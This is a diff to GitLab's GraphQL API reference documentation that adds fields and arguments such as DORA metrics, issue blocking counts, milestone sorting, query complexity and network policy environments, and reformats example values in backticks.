+| <a id="dorametricsinterval"></a>`interval` | [`DoraMetricBucketingInterval`](#dorametricbucketinginterval) | How the metric should be aggregrated. Defaults to `DAILY`. In the case of `ALL`, the `date` field in the response will be `null`. |
+| <a id="dorametricsmetric"></a>`metric` | [`DoraMetricType!`](#dorametrictype) | The type of metric to return. |
+| <a id="dorametricsstartdate"></a>`startDate` | [`Date`](#date) | Date range to start from. Default is 3 months ago. |
+
+### `DoraMetric`
+
+#### Fields
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="dorametricdate"></a>`date` | [`String`](#string) | Date of the data point. |
+| <a id="dorametricvalue"></a>`value` | [`Int`](#int) | Value of the data point. |
+
### `Environment`
Describes where code is deployed for a project.
@@ -8556,7 +8760,8 @@ four standard [pagination arguments](#connection-pagination-arguments):
| <a id="epicancestorsenddate"></a>`endDate` **{warning-solid}** | [`Time`](#time) | **Deprecated** in 13.5. Use timeframe.end. |
| <a id="epicancestorsiid"></a>`iid` | [`ID`](#id) | IID of the epic, e.g., "1". |
| <a id="epicancestorsiidstartswith"></a>`iidStartsWith` | [`String`](#string) | Filter epics by IID for autocomplete. |
-| <a id="epicancestorsiids"></a>`iids` | [`[ID!]`](#id) | List of IIDs of epics, e.g., [1, 2]. |
+| <a id="epicancestorsiids"></a>`iids` | [`[ID!]`](#id) | List of IIDs of epics, e.g., `[1, 2]`. |
+| <a id="epicancestorsin"></a>`in` | [`[IssuableSearchableField!]`](#issuablesearchablefield) | Specify the fields to perform the search in. Defaults to `[TITLE, DESCRIPTION]`. Requires the `search` argument. |
| <a id="epicancestorsincludeancestorgroups"></a>`includeAncestorGroups` | [`Boolean`](#boolean) | Include epics from ancestor groups. |
| <a id="epicancestorsincludedescendantgroups"></a>`includeDescendantGroups` | [`Boolean`](#boolean) | Include epics from descendant groups. |
| <a id="epicancestorslabelname"></a>`labelName` | [`[String!]`](#string) | Filter epics by labels. |
@@ -8588,7 +8793,8 @@ four standard [pagination arguments](#connection-pagination-arguments):
| <a id="epicchildrenenddate"></a>`endDate` **{warning-solid}** | [`Time`](#time) | **Deprecated** in 13.5. Use timeframe.end. |
| <a id="epicchildreniid"></a>`iid` | [`ID`](#id) | IID of the epic, e.g., "1". |
| <a id="epicchildreniidstartswith"></a>`iidStartsWith` | [`String`](#string) | Filter epics by IID for autocomplete. |
-| <a id="epicchildreniids"></a>`iids` | [`[ID!]`](#id) | List of IIDs of epics, e.g., [1, 2]. |
+| <a id="epicchildreniids"></a>`iids` | [`[ID!]`](#id) | List of IIDs of epics, e.g., `[1, 2]`. |
+| <a id="epicchildrenin"></a>`in` | [`[IssuableSearchableField!]`](#issuablesearchablefield) | Specify the fields to perform the search in. Defaults to `[TITLE, DESCRIPTION]`. Requires the `search` argument. |
| <a id="epicchildrenincludeancestorgroups"></a>`includeAncestorGroups` | [`Boolean`](#boolean) | Include epics from ancestor groups. |
| <a id="epicchildrenincludedescendantgroups"></a>`includeDescendantGroups` | [`Boolean`](#boolean) | Include epics from descendant groups. |
| <a id="epicchildrenlabelname"></a>`labelName` | [`[String!]`](#string) | Filter epics by labels. |
@@ -8714,6 +8920,7 @@ Relationship between an epic and an issue.
| <a id="epicissueblocked"></a>`blocked` | [`Boolean!`](#boolean) | Indicates the issue is blocked. |
| <a id="epicissueblockedbycount"></a>`blockedByCount` | [`Int`](#int) | Count of issues blocking this issue. |
| <a id="epicissueblockedbyissues"></a>`blockedByIssues` | [`IssueConnection`](#issueconnection) | Issues blocking this issue. (see [Connections](#connections)) |
+| <a id="epicissueblockingcount"></a>`blockingCount` | [`Int!`](#int) | Count of issues this issue is blocking. |
| <a id="epicissueclosedat"></a>`closedAt` | [`Time`](#time) | Timestamp of when the issue was closed. |
| <a id="epicissueconfidential"></a>`confidential` | [`Boolean!`](#boolean) | Indicates the issue is confidential. |
| <a id="epicissuecreatenoteemail"></a>`createNoteEmail` | [`String`](#string) | User specific email address for the issue. |
@@ -8741,6 +8948,7 @@ Relationship between an epic and an issue.
| <a id="epicissuemovedto"></a>`movedTo` | [`Issue`](#issue) | Updated Issue after it got moved to another project. |
| <a id="epicissuenotes"></a>`notes` | [`NoteConnection!`](#noteconnection) | All notes on this noteable. (see [Connections](#connections)) |
| <a id="epicissueparticipants"></a>`participants` | [`UserCoreConnection`](#usercoreconnection) | List of participants in the issue. (see [Connections](#connections)) |
+| <a id="epicissueprojectid"></a>`projectId` | [`Int!`](#int) | ID of the issue project. |
| <a id="epicissuerelationpath"></a>`relationPath` | [`String`](#string) | URI path of the epic-issue relation. |
| <a id="epicissuerelativeposition"></a>`relativePosition` | [`Int`](#int) | Relative position of the issue (used for positioning in epic tree and issue boards). |
| <a id="epicissueseverity"></a>`severity` | [`IssuableSeverity`](#issuableseverity) | Severity level of the incident. |
@@ -9063,9 +9271,10 @@ four standard [pagination arguments](#connection-pagination-arguments):
| <a id="groupbillablememberscount"></a>`billableMembersCount` | [`Int`](#int) | The number of billable users in the group. |
| <a id="groupcontainerrepositoriescount"></a>`containerRepositoriesCount` | [`Int!`](#int) | Number of container repositories in the group. |
| <a id="groupcontainslockedprojects"></a>`containsLockedProjects` | [`Boolean!`](#boolean) | Includes at least one project where the repository size exceeds the limit. |
-| <a id="groupcustomemoji"></a>`customEmoji` | [`CustomEmojiConnection`](#customemojiconnection) | Custom emoji within this namespace. Available only when feature flag `custom_emoji` is enabled. (see [Connections](#connections)) |
+| <a id="groupcustomemoji"></a>`customEmoji` | [`CustomEmojiConnection`](#customemojiconnection) | Custom emoji within this namespace. Available only when feature flag `custom_emoji` is enabled. This flag is disabled by default, because the feature is experimental and is subject to change without notice. (see [Connections](#connections)) |
| <a id="groupdescription"></a>`description` | [`String`](#string) | Description of the namespace. |
| <a id="groupdescriptionhtml"></a>`descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description`. |
+| <a id="groupdora"></a>`dora` | [`Dora`](#dora) | The group's DORA metrics. |
| <a id="groupemailsdisabled"></a>`emailsDisabled` | [`Boolean`](#boolean) | Indicates if a group has email notifications disabled. |
| <a id="groupepicboards"></a>`epicBoards` | [`EpicBoardConnection`](#epicboardconnection) | Find epic boards. (see [Connections](#connections)) |
| <a id="groupepicsenabled"></a>`epicsEnabled` | [`Boolean`](#boolean) | Indicates if Epics are enabled for namespace. |
@@ -9191,7 +9400,8 @@ Returns [`Epic`](#epic).
| <a id="groupepicenddate"></a>`endDate` **{warning-solid}** | [`Time`](#time) | **Deprecated** in 13.5. Use timeframe.end. |
| <a id="groupepiciid"></a>`iid` | [`ID`](#id) | IID of the epic, e.g., "1". |
| <a id="groupepiciidstartswith"></a>`iidStartsWith` | [`String`](#string) | Filter epics by IID for autocomplete. |
-| <a id="groupepiciids"></a>`iids` | [`[ID!]`](#id) | List of IIDs of epics, e.g., [1, 2]. |
+| <a id="groupepiciids"></a>`iids` | [`[ID!]`](#id) | List of IIDs of epics, e.g., `[1, 2]`. |
+| <a id="groupepicin"></a>`in` | [`[IssuableSearchableField!]`](#issuablesearchablefield) | Specify the fields to perform the search in. Defaults to `[TITLE, DESCRIPTION]`. Requires the `search` argument. |
| <a id="groupepicincludeancestorgroups"></a>`includeAncestorGroups` | [`Boolean`](#boolean) | Include epics from ancestor groups. |
| <a id="groupepicincludedescendantgroups"></a>`includeDescendantGroups` | [`Boolean`](#boolean) | Include epics from descendant groups. |
| <a id="groupepiclabelname"></a>`labelName` | [`[String!]`](#string) | Filter epics by labels. |
@@ -9235,7 +9445,8 @@ four standard [pagination arguments](#connection-pagination-arguments):
| <a id="groupepicsenddate"></a>`endDate` **{warning-solid}** | [`Time`](#time) | **Deprecated** in 13.5. Use timeframe.end. |
| <a id="groupepicsiid"></a>`iid` | [`ID`](#id) | IID of the epic, e.g., "1". |
| <a id="groupepicsiidstartswith"></a>`iidStartsWith` | [`String`](#string) | Filter epics by IID for autocomplete. |
-| <a id="groupepicsiids"></a>`iids` | [`[ID!]`](#id) | List of IIDs of epics, e.g., [1, 2]. |
+| <a id="groupepicsiids"></a>`iids` | [`[ID!]`](#id) | List of IIDs of epics, e.g., `[1, 2]`. |
+| <a id="groupepicsin"></a>`in` | [`[IssuableSearchableField!]`](#issuablesearchablefield) | Specify the fields to perform the search in. Defaults to `[TITLE, DESCRIPTION]`. Requires the `search` argument. |
| <a id="groupepicsincludeancestorgroups"></a>`includeAncestorGroups` | [`Boolean`](#boolean) | Include epics from ancestor groups. |
| <a id="groupepicsincludedescendantgroups"></a>`includeDescendantGroups` | [`Boolean`](#boolean) | Include epics from descendant groups. |
| <a id="groupepicslabelname"></a>`labelName` | [`[String!]`](#string) | Filter epics by labels. |
@@ -9289,7 +9500,7 @@ four standard [pagination arguments](#connection-pagination-arguments):
| <a id="groupissuescreatedbefore"></a>`createdBefore` | [`Time`](#time) | Issues created before this date. |
| <a id="groupissuesepicid"></a>`epicId` | [`String`](#string) | ID of an epic associated with the issues, "none" and "any" values are supported. |
| <a id="groupissuesiid"></a>`iid` | [`String`](#string) | IID of the issue. For example, "1". |
-| <a id="groupissuesiids"></a>`iids` | [`[String!]`](#string) | List of IIDs of issues. For example, ["1", "2"]. |
+| <a id="groupissuesiids"></a>`iids` | [`[String!]`](#string) | List of IIDs of issues. For example, `["1", "2"]`. |
| <a id="groupissuesincludesubgroups"></a>`includeSubgroups` | [`Boolean`](#boolean) | Include issues belonging to subgroups. |
| <a id="groupissuesiterationid"></a>`iterationId` | [`[ID]`](#id) | List of iteration Global IDs applied to the issue. |
| <a id="groupissuesiterationwildcardid"></a>`iterationWildcardId` | [`IterationWildcardId`](#iterationwildcardid) | Filter by iteration ID wildcard. |
@@ -9428,6 +9639,7 @@ four standard [pagination arguments](#connection-pagination-arguments):
| <a id="groupmilestonesincludeancestors"></a>`includeAncestors` | [`Boolean`](#boolean) | Include milestones from all parent groups. |
| <a id="groupmilestonesincludedescendants"></a>`includeDescendants` | [`Boolean`](#boolean) | Include milestones from all subgroups and subprojects. |
| <a id="groupmilestonessearchtitle"></a>`searchTitle` | [`String`](#string) | A search string for the title. |
+| <a id="groupmilestonessort"></a>`sort` | [`MilestoneSort`](#milestonesort) | Sort milestones by this criteria. |
| <a id="groupmilestonesstartdate"></a>`startDate` **{warning-solid}** | [`Time`](#time) | **Deprecated** in 13.5. Use timeframe.start. |
| <a id="groupmilestonesstate"></a>`state` | [`MilestoneStateEnum`](#milestonestateenum) | Filter milestones by state. |
| <a id="groupmilestonestimeframe"></a>`timeframe` | [`Timeframe`](#timeframe) | List items overlapping the given timeframe. |
@@ -9763,6 +9975,7 @@ Returns [`VulnerabilitySeveritiesCount`](#vulnerabilityseveritiescount).
| <a id="issueblocked"></a>`blocked` | [`Boolean!`](#boolean) | Indicates the issue is blocked. |
| <a id="issueblockedbycount"></a>`blockedByCount` | [`Int`](#int) | Count of issues blocking this issue. |
| <a id="issueblockedbyissues"></a>`blockedByIssues` | [`IssueConnection`](#issueconnection) | Issues blocking this issue. (see [Connections](#connections)) |
+| <a id="issueblockingcount"></a>`blockingCount` | [`Int!`](#int) | Count of issues this issue is blocking. |
| <a id="issueclosedat"></a>`closedAt` | [`Time`](#time) | Timestamp of when the issue was closed. |
| <a id="issueconfidential"></a>`confidential` | [`Boolean!`](#boolean) | Indicates the issue is confidential. |
| <a id="issuecreatenoteemail"></a>`createNoteEmail` | [`String`](#string) | User specific email address for the issue. |
@@ -9789,6 +10002,7 @@ Returns [`VulnerabilitySeveritiesCount`](#vulnerabilityseveritiescount).
| <a id="issuemovedto"></a>`movedTo` | [`Issue`](#issue) | Updated Issue after it got moved to another project. |
| <a id="issuenotes"></a>`notes` | [`NoteConnection!`](#noteconnection) | All notes on this noteable. (see [Connections](#connections)) |
| <a id="issueparticipants"></a>`participants` | [`UserCoreConnection`](#usercoreconnection) | List of participants in the issue. (see [Connections](#connections)) |
+| <a id="issueprojectid"></a>`projectId` | [`Int!`](#int) | ID of the issue project. |
| <a id="issuerelativeposition"></a>`relativePosition` | [`Int`](#int) | Relative position of the issue (used for positioning in epic tree and issue boards). |
| <a id="issueseverity"></a>`severity` | [`IssuableSeverity`](#issuableseverity) | Severity level of the incident. |
| <a id="issuesladueat"></a>`slaDueAt` | [`Time`](#time) | Timestamp of when the issue SLA expires. |
@@ -10671,6 +10885,7 @@ Represents a milestone.
| <a id="milestonecreatedat"></a>`createdAt` | [`Time!`](#time) | Timestamp of milestone creation. |
| <a id="milestonedescription"></a>`description` | [`String`](#string) | Description of the milestone. |
| <a id="milestoneduedate"></a>`dueDate` | [`Time`](#time) | Timestamp of the milestone due date. |
+| <a id="milestoneexpired"></a>`expired` | [`Boolean!`](#boolean) | Expired state of the milestone (a milestone is expired when the due date is past the current date). Defaults to `false` when due date has not been set. |
| <a id="milestonegroupmilestone"></a>`groupMilestone` | [`Boolean!`](#boolean) | Indicates if milestone is at group level. |
| <a id="milestoneid"></a>`id` | [`ID!`](#id) | ID of the milestone. |
| <a id="milestoneiid"></a>`iid` | [`ID!`](#id) | Internal ID of the milestone. |
@@ -10771,7 +10986,9 @@ Represents the network policy.
| Name | Type | Description |
| ---- | ---- | ----------- |
| <a id="networkpolicyenabled"></a>`enabled` | [`Boolean!`](#boolean) | Indicates whether this policy is enabled. |
+| <a id="networkpolicyenvironments"></a>`environments` | [`EnvironmentConnection`](#environmentconnection) | Environments where this policy is applied. (see [Connections](#connections)) |
| <a id="networkpolicyfromautodevops"></a>`fromAutoDevops` | [`Boolean!`](#boolean) | Indicates whether this policy is created from AutoDevops. |
+| <a id="networkpolicykind"></a>`kind` | [`NetworkPolicyKind!`](#networkpolicykind) | Kind of the policy. |
| <a id="networkpolicyname"></a>`name` | [`String!`](#string) | Name of the policy. |
| <a id="networkpolicynamespace"></a>`namespace` | [`String!`](#string) | Namespace of the policy. |
| <a id="networkpolicyupdatedat"></a>`updatedAt` | [`Time!`](#time) | Timestamp of when the policy YAML was last updated. |
@@ -11020,6 +11237,7 @@ Represents a file or directory in the project repository that has been locked.
| <a id="pipelinepath"></a>`path` | [`String`](#string) | Relative path to the pipeline's page. |
| <a id="pipelineproject"></a>`project` | [`Project`](#project) | Project the pipeline belongs to. |
| <a id="pipelinequeuedduration"></a>`queuedDuration` | [`Duration`](#duration) | How long the pipeline was queued before starting. |
+| <a id="pipelineref"></a>`ref` | [`String`](#string) | Reference to the branch from which the pipeline was triggered. |
| <a id="pipelineretryable"></a>`retryable` | [`Boolean!`](#boolean) | Specifies if a pipeline can be retried. |
| <a id="pipelinesecurityreportsummary"></a>`securityReportSummary` | [`SecurityReportSummary`](#securityreportsummary) | Vulnerability and scanned resource counts for each security scanner of the pipeline. |
| <a id="pipelinesha"></a>`sha` | [`String!`](#string) | SHA of the pipeline's commit. |
@@ -11084,6 +11302,7 @@ four standard [pagination arguments](#connection-pagination-arguments):
| <a id="pipelinesecurityreportfindingsreporttype"></a>`reportType` | [`[String!]`](#string) | Filter vulnerability findings by report type. |
| <a id="pipelinesecurityreportfindingsscanner"></a>`scanner` | [`[String!]`](#string) | Filter vulnerability findings by Scanner.externalId. |
| <a id="pipelinesecurityreportfindingsseverity"></a>`severity` | [`[String!]`](#string) | Filter vulnerability findings by severity. |
+| <a id="pipelinesecurityreportfindingsstate"></a>`state` | [`[VulnerabilityState!]`](#vulnerabilitystate) | Filter vulnerability findings by state. |
##### `Pipeline.testSuite`
@@ -11178,11 +11397,12 @@ Represents vulnerability finding of a security report on the pipeline.
| <a id="projectautoclosereferencedissues"></a>`autocloseReferencedIssues` | [`Boolean`](#boolean) | Indicates if issues referenced by merge requests and commits within the default branch are closed automatically. |
| <a id="projectavatarurl"></a>`avatarUrl` | [`String`](#string) | URL to avatar image file of the project. |
| <a id="projectcicdsettings"></a>`ciCdSettings` | [`ProjectCiCdSetting`](#projectcicdsetting) | CI/CD settings for the project. |
+| <a id="projectcijobtokenscope"></a>`ciJobTokenScope` | [`CiJobTokenScopeType`](#cijobtokenscopetype) | The CI Job Tokens scope of access. |
| <a id="projectclusteragents"></a>`clusterAgents` | [`ClusterAgentConnection`](#clusteragentconnection) | Cluster agents associated with the project. (see [Connections](#connections)) |
| <a id="projectcodecoveragesummary"></a>`codeCoverageSummary` | [`CodeCoverageSummary`](#codecoveragesummary) | Code coverage summary associated with the project. |
| <a id="projectcomplianceframeworks"></a>`complianceFrameworks` | [`ComplianceFrameworkConnection`](#complianceframeworkconnection) | Compliance frameworks associated with the project. (see [Connections](#connections)) |
| <a id="projectcontainerexpirationpolicy"></a>`containerExpirationPolicy` | [`ContainerExpirationPolicy`](#containerexpirationpolicy) | The container expiration policy of the project. |
-| <a id="projectcontainerregistryenabled"></a>`containerRegistryEnabled` | [`Boolean`](#boolean) | Indicates if the project stores Docker container images in a container registry. |
+| <a id="projectcontainerregistryenabled"></a>`containerRegistryEnabled` | [`Boolean`](#boolean) | Indicates if Container Registry is enabled for the current user. |
| <a id="projectcontainerrepositoriescount"></a>`containerRepositoriesCount` | [`Int!`](#int) | Number of container repositories in the project. |
| <a id="projectcreatedat"></a>`createdAt` | [`Time`](#time) | Timestamp of the project creation. |
| <a id="projectdastprofiles"></a>`dastProfiles` | [`DastProfileConnection`](#dastprofileconnection) | DAST Profiles associated with the project. (see [Connections](#connections)) |
@@ -11190,6 +11410,7 @@ Represents vulnerability finding of a security report on the pipeline.
| <a id="projectdastsiteprofiles"></a>`dastSiteProfiles` | [`DastSiteProfileConnection`](#dastsiteprofileconnection) | DAST Site Profiles associated with the project. (see [Connections](#connections)) |
| <a id="projectdescription"></a>`description` | [`String`](#string) | Short description of the project. |
| <a id="projectdescriptionhtml"></a>`descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description`. |
+| <a id="projectdora"></a>`dora` | [`Dora`](#dora) | The project's DORA metrics. |
| <a id="projectforkscount"></a>`forksCount` | [`Int!`](#int) | Number of times the project has been forked. |
| <a id="projectfullpath"></a>`fullPath` | [`ID!`](#id) | Full path of the project. |
| <a id="projectgrafanaintegration"></a>`grafanaIntegration` | [`GrafanaIntegration`](#grafanaintegration) | Grafana integration details for the project. |
@@ -11263,7 +11484,7 @@ Returns [`AlertManagementAlert`](#alertmanagementalert).
| <a id="projectalertmanagementalertiid"></a>`iid` | [`String`](#string) | IID of the alert. For example, "1". |
| <a id="projectalertmanagementalertsearch"></a>`search` | [`String`](#string) | Search query for title, description, service, or monitoring_tool. |
| <a id="projectalertmanagementalertsort"></a>`sort` | [`AlertManagementAlertSort`](#alertmanagementalertsort) | Sort alerts by this criteria. |
-| <a id="projectalertmanagementalertstatuses"></a>`statuses` | [`[AlertManagementStatus!]`](#alertmanagementstatus) | Alerts with the specified statues. For example, [TRIGGERED]. |
+| <a id="projectalertmanagementalertstatuses"></a>`statuses` | [`[AlertManagementStatus!]`](#alertmanagementstatus) | Alerts with the specified statues. For example, `[TRIGGERED]`. |
##### `Project.alertManagementAlertStatusCounts`
@@ -11297,7 +11518,7 @@ four standard [pagination arguments](#connection-pagination-arguments):
| <a id="projectalertmanagementalertsiid"></a>`iid` | [`String`](#string) | IID of the alert. For example, "1". |
| <a id="projectalertmanagementalertssearch"></a>`search` | [`String`](#string) | Search query for title, description, service, or monitoring_tool. |
| <a id="projectalertmanagementalertssort"></a>`sort` | [`AlertManagementAlertSort`](#alertmanagementalertsort) | Sort alerts by this criteria. |
-| <a id="projectalertmanagementalertsstatuses"></a>`statuses` | [`[AlertManagementStatus!]`](#alertmanagementstatus) | Alerts with the specified statues. For example, [TRIGGERED]. |
+| <a id="projectalertmanagementalertsstatuses"></a>`statuses` | [`[AlertManagementStatus!]`](#alertmanagementstatus) | Alerts with the specified statues. For example, `[TRIGGERED]`. |
##### `Project.alertManagementHttpIntegrations`
@@ -11381,7 +11602,7 @@ Returns [`CiTemplate`](#citemplate).
| Name | Type | Description |
| ---- | ---- | ----------- |
-| <a id="projectcitemplatename"></a>`name` | [`String!`](#string) | Name of the CI/CD template to search for. |
+| <a id="projectcitemplatename"></a>`name` | [`String!`](#string) | Name of the CI/CD template to search for. Template must be formatted as `Name.gitlab-ci.yml`. |
##### `Project.clusterAgent`
@@ -11520,7 +11741,7 @@ Returns [`Issue`](#issue).
| <a id="projectissuecreatedbefore"></a>`createdBefore` | [`Time`](#time) | Issues created before this date. |
| <a id="projectissueepicid"></a>`epicId` | [`String`](#string) | ID of an epic associated with the issues, "none" and "any" values are supported. |
| <a id="projectissueiid"></a>`iid` | [`String`](#string) | IID of the issue. For example, "1". |
-| <a id="projectissueiids"></a>`iids` | [`[String!]`](#string) | List of IIDs of issues. For example, ["1", "2"]. |
+| <a id="projectissueiids"></a>`iids` | [`[String!]`](#string) | List of IIDs of issues. For example, `["1", "2"]`. |
| <a id="projectissueiterationid"></a>`iterationId` | [`[ID]`](#id) | List of iteration Global IDs applied to the issue. |
| <a id="projectissueiterationwildcardid"></a>`iterationWildcardId` | [`IterationWildcardId`](#iterationwildcardid) | Filter by iteration ID wildcard. |
| <a id="projectissuelabelname"></a>`labelName` | [`[String]`](#string) | Labels applied to this issue. |
@@ -11553,7 +11774,7 @@ Returns [`IssueStatusCountsType`](#issuestatuscountstype).
| <a id="projectissuestatuscountscreatedafter"></a>`createdAfter` | [`Time`](#time) | Issues created after this date. |
| <a id="projectissuestatuscountscreatedbefore"></a>`createdBefore` | [`Time`](#time) | Issues created before this date. |
| <a id="projectissuestatuscountsiid"></a>`iid` | [`String`](#string) | IID of the issue. For example, "1". |
-| <a id="projectissuestatuscountsiids"></a>`iids` | [`[String!]`](#string) | List of IIDs of issues. For example, ["1", "2"]. |
+| <a id="projectissuestatuscountsiids"></a>`iids` | [`[String!]`](#string) | List of IIDs of issues. For example, `["1", "2"]`. |
| <a id="projectissuestatuscountslabelname"></a>`labelName` | [`[String]`](#string) | Labels applied to this issue. |
| <a id="projectissuestatuscountsmilestonetitle"></a>`milestoneTitle` | [`[String]`](#string) | Milestone applied to this issue. |
| <a id="projectissuestatuscountsnot"></a>`not` | [`NegatedIssueFilterInput`](#negatedissuefilterinput) | Negated arguments. |
@@ -11586,7 +11807,7 @@ four standard [pagination arguments](#connection-pagination-arguments):
| <a id="projectissuescreatedbefore"></a>`createdBefore` | [`Time`](#time) | Issues created before this date. |
| <a id="projectissuesepicid"></a>`epicId` | [`String`](#string) | ID of an epic associated with the issues, "none" and "any" values are supported. |
| <a id="projectissuesiid"></a>`iid` | [`String`](#string) | IID of the issue. For example, "1". |
-| <a id="projectissuesiids"></a>`iids` | [`[String!]`](#string) | List of IIDs of issues. For example, ["1", "2"]. |
+| <a id="projectissuesiids"></a>`iids` | [`[String!]`](#string) | List of IIDs of issues. For example, `["1", "2"]`. |
| <a id="projectissuesiterationid"></a>`iterationId` | [`[ID]`](#id) | List of iteration Global IDs applied to the issue. |
| <a id="projectissuesiterationwildcardid"></a>`iterationWildcardId` | [`IterationWildcardId`](#iterationwildcardid) | Filter by iteration ID wildcard. |
| <a id="projectissueslabelname"></a>`labelName` | [`[String]`](#string) | Labels applied to this issue. |
@@ -11749,6 +11970,7 @@ four standard [pagination arguments](#connection-pagination-arguments):
| <a id="projectmilestonesids"></a>`ids` | [`[ID!]`](#id) | Array of global milestone IDs, e.g., `"gid://gitlab/Milestone/1"`. |
| <a id="projectmilestonesincludeancestors"></a>`includeAncestors` | [`Boolean`](#boolean) | Also return milestones in the project's parent group and its ancestors. |
| <a id="projectmilestonessearchtitle"></a>`searchTitle` | [`String`](#string) | A search string for the title. |
+| <a id="projectmilestonessort"></a>`sort` | [`MilestoneSort`](#milestonesort) | Sort milestones by this criteria. |
| <a id="projectmilestonesstartdate"></a>`startDate` **{warning-solid}** | [`Time`](#time) | **Deprecated** in 13.5. Use timeframe.start. |
| <a id="projectmilestonesstate"></a>`state` | [`MilestoneStateEnum`](#milestonestateenum) | Filter milestones by state. |
| <a id="projectmilestonestimeframe"></a>`timeframe` | [`Timeframe`](#timeframe) | List items overlapping the given timeframe. |
@@ -11878,7 +12100,7 @@ Returns [`Requirement`](#requirement).
| ---- | ---- | ----------- |
| <a id="projectrequirementauthorusername"></a>`authorUsername` | [`[String!]`](#string) | Filter requirements by author username. |
| <a id="projectrequirementiid"></a>`iid` | [`ID`](#id) | IID of the requirement, e.g., "1". |
-| <a id="projectrequirementiids"></a>`iids` | [`[ID!]`](#id) | List of IIDs of requirements, e.g., [1, 2]. |
+| <a id="projectrequirementiids"></a>`iids` | [`[ID!]`](#id) | List of IIDs of requirements, e.g., `[1, 2]`. |
| <a id="projectrequirementlasttestreportstate"></a>`lastTestReportState` | [`RequirementStatusFilter`](#requirementstatusfilter) | The state of latest requirement test report. |
| <a id="projectrequirementsearch"></a>`search` | [`String`](#string) | Search query for requirement title. |
| <a id="projectrequirementsort"></a>`sort` | [`Sort`](#sort) | List requirements by sort order. |
@@ -11900,7 +12122,7 @@ four standard [pagination arguments](#connection-pagination-arguments):
| ---- | ---- | ----------- |
| <a id="projectrequirementsauthorusername"></a>`authorUsername` | [`[String!]`](#string) | Filter requirements by author username. |
| <a id="projectrequirementsiid"></a>`iid` | [`ID`](#id) | IID of the requirement, e.g., "1". |
-| <a id="projectrequirementsiids"></a>`iids` | [`[ID!]`](#id) | List of IIDs of requirements, e.g., [1, 2]. |
+| <a id="projectrequirementsiids"></a>`iids` | [`[ID!]`](#id) | List of IIDs of requirements, e.g., `[1, 2]`. |
| <a id="projectrequirementslasttestreportstate"></a>`lastTestReportState` | [`RequirementStatusFilter`](#requirementstatusfilter) | The state of latest requirement test report. |
| <a id="projectrequirementssearch"></a>`search` | [`String`](#string) | Search query for requirement title. |
| <a id="projectrequirementssort"></a>`sort` | [`Sort`](#sort) | List requirements by sort order. |
@@ -12152,6 +12374,15 @@ Pypi metadata.
| <a id="pypimetadataid"></a>`id` | [`PackagesPypiMetadatumID!`](#packagespypimetadatumid) | ID of the metadatum. |
| <a id="pypimetadatarequiredpython"></a>`requiredPython` | [`String`](#string) | Required Python version of the Pypi package. |
+### `QueryComplexity`
+
+#### Fields
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="querycomplexitylimit"></a>`limit` | [`Int`](#int) | GraphQL query complexity limit. See [GitLab documentation on this limit](https://docs.gitlab.com/ee/api/graphql/index.html#max-query-complexity). |
+| <a id="querycomplexityscore"></a>`score` | [`Int`](#int) | GraphQL query complexity score. |
+
### `RecentFailures`
Recent failure history of a test case.
@@ -12194,6 +12425,7 @@ Represents an asset link associated with a release.
| Name | Type | Description |
| ---- | ---- | ----------- |
+| <a id="releaseassetlinkdirectassetpath"></a>`directAssetPath` | [`String`](#string) | Relative path for the direct asset link. |
| <a id="releaseassetlinkdirectasseturl"></a>`directAssetUrl` | [`String`](#string) | Direct asset URL of the link. |
| <a id="releaseassetlinkexternal"></a>`external` | [`Boolean`](#boolean) | Indicates the link points to an external resource. |
| <a id="releaseassetlinkid"></a>`id` | [`ID!`](#id) | ID of the link. |
@@ -12549,6 +12781,7 @@ Represents summary of a security report.
| Name | Type | Description |
| ---- | ---- | ----------- |
| <a id="securityreportsummaryapifuzzing"></a>`apiFuzzing` | [`SecurityReportSummarySection`](#securityreportsummarysection) | Aggregated counts for the `api_fuzzing` scan. |
+| <a id="securityreportsummaryclusterimagescanning"></a>`clusterImageScanning` | [`SecurityReportSummarySection`](#securityreportsummarysection) | Aggregated counts for the `cluster_image_scanning` scan. |
| <a id="securityreportsummarycontainerscanning"></a>`containerScanning` | [`SecurityReportSummarySection`](#securityreportsummarysection) | Aggregated counts for the `container_scanning` scan. |
| <a id="securityreportsummarycoveragefuzzing"></a>`coverageFuzzing` | [`SecurityReportSummarySection`](#securityreportsummarysection) | Aggregated counts for the `coverage_fuzzing` scan. |
| <a id="securityreportsummarydast"></a>`dast` | [`SecurityReportSummarySection`](#securityreportsummarysection) | Aggregated counts for the `dast` scan. |
@@ -12814,6 +13047,7 @@ Represents the snippet blob.
| <a id="snippetblobpath"></a>`path` | [`String`](#string) | Blob path. |
| <a id="snippetblobplaindata"></a>`plainData` | [`String`](#string) | Blob plain highlighted data. |
| <a id="snippetblobrawpath"></a>`rawPath` | [`String!`](#string) | Blob raw content endpoint path. |
+| <a id="snippetblobrawplaindata"></a>`rawPlainData` | [`String`](#string) | The raw content of the blob, if the blob is text data. |
| <a id="snippetblobrenderedastext"></a>`renderedAsText` | [`Boolean!`](#boolean) | Shows whether the blob is rendered as text. |
| <a id="snippetblobrichdata"></a>`richData` | [`String`](#string) | Blob highlighted data. |
| <a id="snippetblobrichviewer"></a>`richViewer` | [`SnippetBlobViewer`](#snippetblobviewer) | Blob content rich viewer. |
@@ -12874,6 +13108,7 @@ Represents the Geo sync and verification state of a snippet repository.
| ---- | ---- | ----------- |
| <a id="statusactionbuttontitle"></a>`buttonTitle` | [`String`](#string) | Title for the button, for example: Retry this job. |
| <a id="statusactionicon"></a>`icon` | [`String`](#string) | Icon used in the action button. |
+| <a id="statusactionid"></a>`id` | [`String!`](#string) | ID for a status action. |
| <a id="statusactionmethod"></a>`method` | [`String`](#string) | Method for the action, for example: :post. |
| <a id="statusactionpath"></a>`path` | [`String`](#string) | Path for the action. |
| <a id="statusactiontitle"></a>`title` | [`String`](#string) | Title for the action, for example: Retry. |
@@ -13155,7 +13390,7 @@ Represents a recorded measurement (object count) for the Admins.
| Name | Type | Description |
| ---- | ---- | ----------- |
| <a id="usercalloutdismissedat"></a>`dismissedAt` | [`Time`](#time) | Date when the callout was dismissed. |
-| <a id="usercalloutfeaturename"></a>`featureName` | [`UserCalloutFeatureNameEnum!`](#usercalloutfeaturenameenum) | Name of the feature that the callout is for. |
+| <a id="usercalloutfeaturename"></a>`featureName` | [`UserCalloutFeatureNameEnum`](#usercalloutfeaturenameenum) | Name of the feature that the callout is for. |
### `UserCore`
